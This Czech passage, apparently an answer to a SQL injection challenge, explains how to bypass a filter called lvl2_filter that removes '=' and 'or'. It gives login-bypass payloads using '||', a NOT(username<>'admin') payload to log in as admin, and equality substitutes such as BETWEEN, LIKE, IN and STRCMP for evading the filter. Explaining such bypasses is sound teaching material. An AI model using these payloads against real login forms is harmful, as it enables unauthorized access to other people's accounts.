Za předpokladu tato definice lvl2_filter
, který v podstatě odstraňuje jakýkoli výskyt =
a or
dokud již nebude nalezen, mělo by být stále možné používat logická operace OR
s ||
místo OR
a jednoduchý výraz, který se vyhodnotí jako true like:
username: dummy
password: ' || '1
Výsledkem by bylo:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Pro výběr konkrétního uživatele lze použít pravidla booleovské algebry
, kde x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Výsledkem by bylo:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Zde <>
je ekvivalentní !=
ale neobsahuje =
.
Existují také další operace, které lze použít k zajištění uživatelského jména rovná se admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …